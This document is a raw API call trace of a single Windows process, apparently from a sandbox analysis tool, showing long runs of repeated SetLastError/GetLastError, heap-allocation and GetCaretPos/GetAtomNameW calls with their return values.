	[0045.088] SetLastError (dwErrCode=0x0) 
	[0045.088] GetLastError () returned 0x0
	[0045.089] SetLastError (dwErrCode=0x0) 
	[0045.089] GetLastError () returned 0x0
	[0045.089] SetLastError (dwErrCode=0x0) 
	[0045.089] GetLastError () returned 0x0
	[0045.089] SetLastError (dwErrCode=0x0) 
	[0045.089] GetLastError () returned 0x0
	[0045.089] SetLastError (dwErrCode=0x0) 
	[0045.089] GetLastError () returned 0x0
	[0045.089] SetLastError (dwErrCode=0x0) 
	[0045.089] GetLastError () returned 0x0
	[0045.089] SetLastError (dwErrCode=0x0) 
	[0045.089] GetLastError () returned 0x0
	[0045.089] SetLastError (dwErrCode=0x0) 
	[0045.089] GetLastError () returned 0x0
	[0045.089] SetLastError (dwErrCode=0x0) 
	[0045.089] GetLastError () returned 0x0
	[0045.089] SetLastError (dwErrCode=0x0) 
	[0045.090] GetLastError () returned 0x0
	[0045.090] SetLastError (dwErrCode=0x0) 
	[0045.090] GetLastError () returned 0x0
	[0045.090] SetLastError (dwErrCode=0x0) 
	[0045.090] GetLastError () returned 0x0
	[0045.090] SetLastError (dwErrCode=0x0) 
	[0045.090] GetLastError () returned 0x0
	[0045.090] SetLastError (dwErrCode=0x0) 
	[0045.090] GetLastError () returned 0x0
	[0045.090] SetLastError (dwErrCode=0x0) 
	[0045.090] GetLastError () returned 0x0
	[0045.090] SetLastError (dwErrCode=0x0) 
	[0045.090] GetLastError () returned 0x0
	[0045.090] SetLastError (dwErrCode=0x0) 
	[0045.090] GetLastError () returned 0x0
	[0045.090] SetLastError (dwErrCode=0x0) 
	[0045.090] GetLastError () returned 0x0
	[0045.091] SetLastError (dwErrCode=0x0) 
	[0045.091] GetLastError () returned 0x0
	[0045.091] SetLastError (dwErrCode=0x0) 
	[0045.091] GetLastError () returned 0x0
	[0045.091] SetLastError (dwErrCode=0x0) 
	[0045.091] GetLastError () returned 0x0
	[0045.091] SetLastError (dwErrCode=0x0) 
	[0045.091] GetLastError () returned 0x0
	[0045.091] SetLastError (dwErrCode=0x0) 
	[0045.091] GetLastError () returned 0x0
	[0045.091] SetLastError (dwErrCode=0x0) 
	[0045.091] GetLastError () returned 0x0
	[0045.091] SetLastError (dwErrCode=0x0) 
	[0045.091] GetLastError () returned 0x0
	[0045.092] SetLastError (dwErrCode=0x0) 
	[0045.092] GetLastError () returned 0x0
	[0045.092] SetLastError (dwErrCode=0x0) 
	[0045.092] GetLastError () returned 0x0
	[0045.092] SetLastError (dwErrCode=0x0) 
	[0045.092] GetLastError () returned 0x0
	[0045.092] SetLastError (dwErrCode=0x0) 
	[0045.092] GetLastError () returned 0x0
	[0045.092] SetLastError (dwErrCode=0x0) 
	[0045.092] GetLastError () returned 0x0
	[0045.092] SetLastError (dwErrCode=0x0) 
	[0045.092] GetLastError () returned 0x0
	[0045.094] SetLastError (dwErrCode=0x0) 
	[0045.094] GetLastError () returned 0x0
	[0045.094] SetLastError (dwErrCode=0x0) 
	[0045.094] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x8, Size=0x98) returned 0x1d919d8
	[0045.094] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x8, Size=0x1f) returned 0x1d91a78
	[0045.094] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x8, Size=0x36) returned 0x1d91aa0
	[0045.094] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x8, Size=0x37) returned 0x1d91ae0
	[0045.094] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x8, Size=0x3c) returned 0x1d91b20
	[0045.094] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x8, Size=0x31) returned 0x1d91b68
	[0045.095] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x8, Size=0x17) returned 0x1d91ba8
	[0045.095] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x8, Size=0x24) returned 0x1d91bc8
	[0045.095] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x8, Size=0x14) returned 0x1d91bf8
	[0045.095] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x8, Size=0xd) returned 0x1d91c18
	[0045.095] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x8, Size=0x25) returned 0x1d91c30
	[0045.095] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x8, Size=0x39) returned 0x1d91c60
	[0045.095] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x8, Size=0x18) returned 0x1d91ca8
	[0045.095] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x8, Size=0x17) returned 0x1d91cc8
	[0045.095] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x8, Size=0xe) returned 0x1d91ce8
	[0045.095] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x8, Size=0x69) returned 0x1d91d00
	[0045.095] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x8, Size=0x3e) returned 0x1d91d78
	[0045.095] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x8, Size=0x1b) returned 0x1d91dc0
	[0045.095] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x8, Size=0x1d) returned 0x1d91de8
	[0045.095] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x8, Size=0x48) returned 0x1d91e10
	[0045.095] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x8, Size=0x12) returned 0x1d91e60
	[0045.095] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x8, Size=0x18) returned 0x1d91e80
	[0045.095] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x8, Size=0x1b) returned 0x1d91ea0
	[0045.096] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x8, Size=0x24) returned 0x1d91ec8
	[0045.096] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x8, Size=0x29) returned 0x1d91ef8
	[0045.096] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x8, Size=0x1e) returned 0x1d91f30
	[0045.096] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x8, Size=0x41) returned 0x1d91f58
	[0045.096] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x8, Size=0x17) returned 0x1d91fa8
	[0045.096] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x8, Size=0xf) returned 0x1d91fc8
	[0045.096] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x8, Size=0x16) returned 0x1d91fe8
	[0045.096] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x8, Size=0x2a) returned 0x1d92008
	[0045.096] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x8, Size=0x29) returned 0x1d92040
	[0045.096] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x8, Size=0x15) returned 0x1d92078
	[0045.096] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x8, Size=0x1e) returned 0x1d92098
	[0045.096] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x8, Size=0x2a) returned 0x1d920c0
	[0045.096] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x8, Size=0x12) returned 0x1d920f8
	[0045.096] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x8, Size=0x18) returned 0x1d92118
	[0045.096] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x8, Size=0x46) returned 0x1d92138
	[0045.096] HeapFree (in: hHeap=0x1d90000, dwFlags=0x0, lpMem=0x1d911f8 | out: hHeap=0x1d90000) returned 1
	[0045.097] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x8, Size=0x800) returned 0x1d92188
	[0045.097] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x8, Size=0x80) returned 0x1d911f8
	[0045.097] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1
	[0045.097] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x403914) returned 0x0
	[0045.098] RtlSizeHeap (HeapHandle=0x1d90000, Flags=0x0, MemoryPointer=0x1d911f8) returned 0x80
	[0045.098] GetLastError () returned 0x0
	[0045.098] SetLastError (dwErrCode=0x0) 
	[0045.098] GetLastError () returned 0x0
	[0045.098] SetLastError (dwErrCode=0x0) 
	[0045.098] GetLastError () returned 0x0
	[0045.099] SetLastError (dwErrCode=0x0) 
	[0045.099] GetLastError () returned 0x0
	[0045.099] SetLastError (dwErrCode=0x0) 
	[0045.099] GetLastError () returned 0x0
	[0045.099] SetLastError (dwErrCode=0x0) 
	[0045.099] GetLastError () returned 0x0
	[0045.099] SetLastError (dwErrCode=0x0) 
	[0045.099] GetLastError () returned 0x0
	[0045.099] SetLastError (dwErrCode=0x0) 
	[0045.099] GetLastError () returned 0x0
	[0045.099] SetLastError (dwErrCode=0x0) 
	[0045.099] GetLastError () returned 0x0
	[0045.099] SetLastError (dwErrCode=0x0) 
	[0045.099] GetLastError () returned 0x0
	[0045.099] SetLastError (dwErrCode=0x0) 
	[0045.099] GetLastError () returned 0x0
	[0045.100] SetLastError (dwErrCode=0x0) 
	[0045.100] GetLastError () returned 0x0
	[0045.100] SetLastError (dwErrCode=0x0) 
	[0045.100] GetLastError () returned 0x0
	[0045.100] SetLastError (dwErrCode=0x0) 
	[0045.100] GetLastError () returned 0x0
	[0045.100] SetLastError (dwErrCode=0x0) 
	[0045.100] GetLastError () returned 0x0
	[0045.100] SetLastError (dwErrCode=0x0) 
	[0045.100] GetLastError () returned 0x0
	[0045.100] SetLastError (dwErrCode=0x0) 
	[0045.100] GetLastError () returned 0x0
	[0045.100] SetLastError (dwErrCode=0x0) 
	[0045.100] GetLastError () returned 0x0
	[0045.100] SetLastError (dwErrCode=0x0) 
	[0045.100] GetLastError () returned 0x0
	[0045.101] SetLastError (dwErrCode=0x0) 
	[0045.101] GetLastError () returned 0x0
	[0045.101] SetLastError (dwErrCode=0x0) 
	[0045.101] GetLastError () returned 0x0
	[0045.101] SetLastError (dwErrCode=0x0) 
	[0045.101] GetLastError () returned 0x0
	[0045.101] SetLastError (dwErrCode=0x0) 
	[0045.101] GetLastError () returned 0x0
	[0045.101] SetLastError (dwErrCode=0x0) 
	[0045.101] GetLastError () returned 0x0
	[0045.101] SetLastError (dwErrCode=0x0) 
	[0045.101] GetLastError () returned 0x0
	[0045.101] SetLastError (dwErrCode=0x0) 
	[0045.101] GetLastError () returned 0x0
	[0045.101] SetLastError (dwErrCode=0x0) 
	[0045.101] GetLastError () returned 0x0
	[0045.102] SetLastError (dwErrCode=0x0) 
	[0045.102] GetLastError () returned 0x0
	[0045.102] SetLastError (dwErrCode=0x0) 
	[0045.102] GetLastError () returned 0x0
	[0045.102] SetLastError (dwErrCode=0x0) 
	[0045.102] GetLastError () returned 0x0
	[0045.102] SetLastError (dwErrCode=0x0) 
	[0045.102] GetLastError () returned 0x0
	[0045.102] SetLastError (dwErrCode=0x0) 
	[0045.102] GetLastError () returned 0x0
	[0045.102] SetLastError (dwErrCode=0x0) 
	[0045.102] GetLastError () returned 0x0
	[0045.102] SetLastError (dwErrCode=0x0) 
	[0045.102] GetLastError () returned 0x0
	[0045.102] SetLastError (dwErrCode=0x0) 
	[0045.102] GetLastError () returned 0x0
	[0045.102] SetLastError (dwErrCode=0x0) 
	[0045.102] GetLastError () returned 0x0
	[0045.102] SetLastError (dwErrCode=0x0) 
	[0045.103] GetLastError () returned 0x0
	[0045.103] SetLastError (dwErrCode=0x0) 
	[0045.103] GetLastError () returned 0x0
	[0045.103] SetLastError (dwErrCode=0x0) 
	[0045.103] GetLastError () returned 0x0
	[0045.103] SetLastError (dwErrCode=0x0) 
	[0045.103] GetLastError () returned 0x0
	[0045.103] SetLastError (dwErrCode=0x0) 
	[0045.103] GetLastError () returned 0x0
	[0045.103] SetLastError (dwErrCode=0x0) 
	[0045.103] GetLastError () returned 0x0
	[0045.103] SetLastError (dwErrCode=0x0) 
	[0045.103] GetLastError () returned 0x0
	[0045.103] SetLastError (dwErrCode=0x0) 
	[0045.103] GetLastError () returned 0x0
	[0045.103] SetLastError (dwErrCode=0x0) 
	[0045.103] GetLastError () returned 0x0
	[0045.104] SetLastError (dwErrCode=0x0) 
	[0045.104] GetLastError () returned 0x0
	[0045.104] SetLastError (dwErrCode=0x0) 
	[0045.104] GetLastError () returned 0x0
	[0045.104] SetLastError (dwErrCode=0x0) 
	[0045.104] GetLastError () returned 0x0
	[0045.104] SetLastError (dwErrCode=0x0) 
	[0045.104] GetLastError () returned 0x0
	[0045.104] SetLastError (dwErrCode=0x0) 
	[0045.104] GetLastError () returned 0x0
	[0045.104] SetLastError (dwErrCode=0x0) 
	[0045.104] GetLastError () returned 0x0
	[0045.105] GetLastError () returned 0x0
	[0045.105] GetLastError () returned 0x0
	[0045.105] GetLastError () returned 0x0
	[0045.105] GetLastError () returned 0x0
	[0045.105] GetLastError () returned 0x0
	[0045.105] GetLastError () returned 0x0
	[0045.105] GetLastError () returned 0x0
	[0045.105] GetLastError () returned 0x0
	[0045.105] GetLastError () returned 0x0
	[0045.105] GetLastError () returned 0x0
	[0045.105] GetLastError () returned 0x0
	[0045.105] GetLastError () returned 0x0
	[0045.105] GetLastError () returned 0x0
	[0045.105] GetLastError () returned 0x0
	[0045.105] GetLastError () returned 0x0
	[0045.105] GetLastError () returned 0x0
	[0045.105] GetLastError () returned 0x0
	[0045.105] GetLastError () returned 0x0
	[0045.105] GetLastError () returned 0x0
	[0045.105] GetLastError () returned 0x0
	[0045.105] GetLastError () returned 0x0
	[0045.105] GetLastError () returned 0x0
	[0045.105] GetLastError () returned 0x0
	[0045.105] GetLastError () returned 0x0
	[0045.105] GetLastError () returned 0x0
	[0045.105] GetLastError () returned 0x0
	[0045.105] GetLastError () returned 0x0
	[0045.105] GetLastError () returned 0x0
	[0045.105] GetLastError () returned 0x0
	[0045.105] GetLastError () returned 0x0
	[0045.105] GetLastError () returned 0x0
	[0045.106] GetLastError () returned 0x0
	[0045.106] GetLastError () returned 0x0
	[0045.106] GetLastError () returned 0x0
	[0045.106] GetLastError () returned 0x0
	[0045.106] GetLastError () returned 0x0
	[0045.106] GetLastError () returned 0x0
	[0045.106] GetLastError () returned 0x0
	[0045.106] GetLastError () returned 0x0
	[0045.106] GetLastError () returned 0x0
	[0045.106] GetLastError () returned 0x0
	[0045.106] GetLastError () returned 0x0
	[0045.106] GetLastError () returned 0x0
	[0045.106] GetLastError () returned 0x0
	[0045.106] GetLastError () returned 0x0
	[0045.106] GetLastError () returned 0x0
	[0045.106] GetLastError () returned 0x0
	[0045.106] GetLastError () returned 0x0
	[0045.106] GetLastError () returned 0x0
	[0045.106] GetLastError () returned 0x0
	[0045.106] GetLastError () returned 0x0
	[0045.106] GetLastError () returned 0x0
	[0045.106] GetLastError () returned 0x0
	[0045.106] GetLastError () returned 0x0
	[0045.106] GetLastError () returned 0x0
	[0045.106] GetLastError () returned 0x0
	[0045.106] GetLastError () returned 0x0
	[0045.106] GetLastError () returned 0x0
	[0045.106] GetLastError () returned 0x0
	[0045.106] GetLastError () returned 0x0
	[0045.107] GetLastError () returned 0x0
	[0045.107] GetLastError () returned 0x0
	[0045.107] GetLastError () returned 0x0
	[0045.107] GetLastError () returned 0x0
	[0045.107] GetLastError () returned 0x0
	[0045.107] GetLastError () returned 0x0
	[0045.107] GetLastError () returned 0x0
	[0045.107] GetLastError () returned 0x0
	[0045.107] GetLastError () returned 0x0
	[0045.107] GetLastError () returned 0x0
	[0045.107] GetLastError () returned 0x0
	[0045.107] GetLastError () returned 0x0
	[0045.107] GetLastError () returned 0x0
	[0045.107] GetLastError () returned 0x0
	[0045.107] GetLastError () returned 0x0
	[0045.107] GetLastError () returned 0x0
	[0045.107] GetLastError () returned 0x0
	[0045.107] GetLastError () returned 0x0
	[0045.107] GetLastError () returned 0x0
	[0045.107] GetLastError () returned 0x0
	[0045.107] GetLastError () returned 0x0
	[0045.107] GetLastError () returned 0x0
	[0045.107] GetLastError () returned 0x0
	[0045.107] GetLastError () returned 0x0
	[0045.108] GetLastError () returned 0x0
	[0045.108] GetLastError () returned 0x0
	[0045.108] GetLastError () returned 0x0
	[0045.108] GetLastError () returned 0x0
	[0045.108] GetLastError () returned 0x0
	[0045.108] GetLastError () returned 0x0
	[0045.108] GetLastError () returned 0x0
	[0045.108] GetLastError () returned 0x0
	[0045.108] GetLastError () returned 0x0
	[0045.108] GetLastError () returned 0x0
	[0045.108] GetLastError () returned 0x0
	[0045.108] GetLastError () returned 0x0
	[0045.108] GetLastError () returned 0x0
	[0045.108] GetLastError () returned 0x0
	[0045.108] GetLastError () returned 0x0
	[0045.108] GetLastError () returned 0x0
	[0045.108] GetLastError () returned 0x0
	[0045.108] GetLastError () returned 0x0
	[0045.108] GetLastError () returned 0x0
	[0045.108] GetLastError () returned 0x0
	[0045.108] GetLastError () returned 0x0
	[0045.108] GetLastError () returned 0x0
	[0045.108] GetLastError () returned 0x0
	[0045.108] GetLastError () returned 0x0
	[0045.108] GetLastError () returned 0x0
	[0045.108] GetLastError () returned 0x0
	[0045.108] GetLastError () returned 0x0
	[0045.108] GetLastError () returned 0x0
	[0045.109] GetLastError () returned 0x0
	[0045.109] GetLastError () returned 0x0
	[0045.109] GetLastError () returned 0x0
	[0045.109] GetLastError () returned 0x0
	[0045.109] GetLastError () returned 0x0
	[0045.109] GetLastError () returned 0x0
	[0045.109] GetLastError () returned 0x0
	[0045.109] GetLastError () returned 0x0
	[0045.109] GetLastError () returned 0x0
	[0045.109] GetLastError () returned 0x0
	[0045.109] GetLastError () returned 0x0
	[0045.109] GetLastError () returned 0x0
	[0045.109] GetLastError () returned 0x0
	[0045.109] GetLastError () returned 0x0
	[0045.109] GetLastError () returned 0x0
	[0045.109] GetLastError () returned 0x0
	[0045.109] GetLastError () returned 0x0
	[0045.109] GetLastError () returned 0x0
	[0045.109] GetLastError () returned 0x0
	[0045.109] GetLastError () returned 0x0
	[0045.109] GetLastError () returned 0x0
	[0045.109] GetLastError () returned 0x0
	[0045.109] GetLastError () returned 0x0
	[0045.109] GetLastError () returned 0x0
	[0045.109] GetLastError () returned 0x0
	[0045.109] GetLastError () returned 0x0
	[0045.109] GetLastError () returned 0x0
	[0045.110] GetLastError () returned 0x0
	[0045.110] GetLastError () returned 0x0
	[0045.110] GetLastError () returned 0x0
	[0045.110] GetLastError () returned 0x0
	[0045.110] GetLastError () returned 0x0
	[0045.110] GetLastError () returned 0x0
	[0045.110] GetLastError () returned 0x0
	[0045.110] GetLastError () returned 0x0
	[0045.110] GetLastError () returned 0x0
	[0045.110] GetLastError () returned 0x0
	[0045.110] GetLastError () returned 0x0
	[0045.110] GetLastError () returned 0x0
	[0045.110] GetLastError () returned 0x0
	[0045.110] GetLastError () returned 0x0
	[0045.110] GetLastError () returned 0x0
	[0045.110] GetLastError () returned 0x0
	[0045.110] GetLastError () returned 0x0
	[0045.110] GetLastError () returned 0x0
	[0045.111] GetLastError () returned 0x0
	[0045.111] GetLastError () returned 0x0
	[0045.111] GetLastError () returned 0x0
	[0045.111] GetLastError () returned 0x0
	[0045.111] GetLastError () returned 0x0
	[0045.111] GetLastError () returned 0x0
	[0045.111] GetLastError () returned 0x0
	[0045.111] GetLastError () returned 0x0
	[0045.111] GetLastError () returned 0x0
	[0045.111] GetLastError () returned 0x0
	[0045.111] GetLastError () returned 0x0
	[0045.111] GetLastError () returned 0x0
	[0045.111] GetLastError () returned 0x0
	[0045.111] GetLastError () returned 0x0
	[0045.111] GetLastError () returned 0x0
	[0045.111] GetLastError () returned 0x0
	[0045.111] GetLastError () returned 0x0
	[0045.111] GetLastError () returned 0x0
	[0045.111] GetLastError () returned 0x0
	[0045.111] GetLastError () returned 0x0
	[0045.111] GetLastError () returned 0x0
	[0045.111] GetLastError () returned 0x0
	[0045.111] GetLastError () returned 0x0
	[0045.111] GetLastError () returned 0x0
	[0045.111] GetLastError () returned 0x0
	[0045.111] GetLastError () returned 0x0
	[0045.111] GetLastError () returned 0x0
	[0045.111] GetLastError () returned 0x0
	[0045.111] GetLastError () returned 0x0
	[0045.111] GetLastError () returned 0x0
	[0045.111] GetLastError () returned 0x0
	[0045.111] GetLastError () returned 0x0
	[0045.111] GetLastError () returned 0x0
	[0045.111] GetLastError () returned 0x0
	[0045.112] GetLastError () returned 0x0
	[0045.112] GetLastError () returned 0x0
	[0045.112] GetLastError () returned 0x0
	[0045.112] GetLastError () returned 0x0
	[0045.112] GetLastError () returned 0x0
	[0045.112] GetLastError () returned 0x0
	[0045.112] GetLastError () returned 0x0
	[0045.112] GetLastError () returned 0x0
	[0045.112] GetLastError () returned 0x0
	[0045.112] GetLastError () returned 0x0
	[0045.112] GetLastError () returned 0x0
	[0045.112] GetLastError () returned 0x0
	[0045.112] GetLastError () returned 0x0
	[0045.112] GetLastError () returned 0x0
	[0045.112] GetLastError () returned 0x0
	[0045.112] GetLastError () returned 0x0
	[0045.112] GetLastError () returned 0x0
	[0045.112] GetLastError () returned 0x0
	[0045.112] GetLastError () returned 0x0
	[0045.112] GetLastError () returned 0x0
	[0045.112] GetLastError () returned 0x0
	[0045.112] GetLastError () returned 0x0
	[0045.112] GetLastError () returned 0x0
	[0045.112] GetLastError () returned 0x0
	[0045.112] GetLastError () returned 0x0
	[0045.112] GetLastError () returned 0x0
	[0045.112] GetLastError () returned 0x0
	[0045.112] GetLastError () returned 0x0
	[0045.112] GetLastError () returned 0x0
	[0045.112] GetLastError () returned 0x0
	[0045.112] GetLastError () returned 0x0
	[0045.112] GetLastError () returned 0x0
	[0045.112] GetLastError () returned 0x0
	[0045.112] GetLastError () returned 0x0
	[0045.112] GetLastError () returned 0x0
	[0045.112] GetLastError () returned 0x0
	[0045.112] GetLastError () returned 0x0
	[0045.113] GetLastError () returned 0x0
	[0045.113] GetLastError () returned 0x0
	[0045.113] GetLastError () returned 0x0
	[0045.113] GetLastError () returned 0x0
	[0045.113] GetLastError () returned 0x0
	[0045.113] GetLastError () returned 0x0
	[0045.113] GetLastError () returned 0x0
	[0045.113] GetLastError () returned 0x0
	[0045.113] GetLastError () returned 0x0
	[0045.113] GetLastError () returned 0x0
	[0045.113] GetLastError () returned 0x0
	[0045.113] GetLastError () returned 0x0
	[0045.113] GetLastError () returned 0x0
	[0045.113] GetLastError () returned 0x0
	[0045.113] GetLastError () returned 0x0
	[0045.113] GetLastError () returned 0x0
	[0045.113] GetLastError () returned 0x0
	[0045.113] GetLastError () returned 0x0
	[0045.113] GetLastError () returned 0x0
	[0045.113] GetLastError () returned 0x0
	[0045.417] lstrlenA (lpString="") returned 0
	[0045.417] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.417] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.417] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.417] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.417] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.417] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.417] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.417] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.417] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.417] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.417] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.417] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.417] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.417] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.418] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.418] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.418] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.418] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.418] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.418] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.418] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.418] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.418] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.418] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.418] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.418] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.418] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.418] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.418] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.418] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.418] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.418] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.418] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.418] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.418] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.418] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.418] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.418] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.419] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.419] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.419] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.419] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.419] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.419] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.419] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.419] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.419] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.419] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.419] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.419] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.419] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.419] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.419] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.419] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.419] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.419] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.419] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.419] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.419] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.419] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.419] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
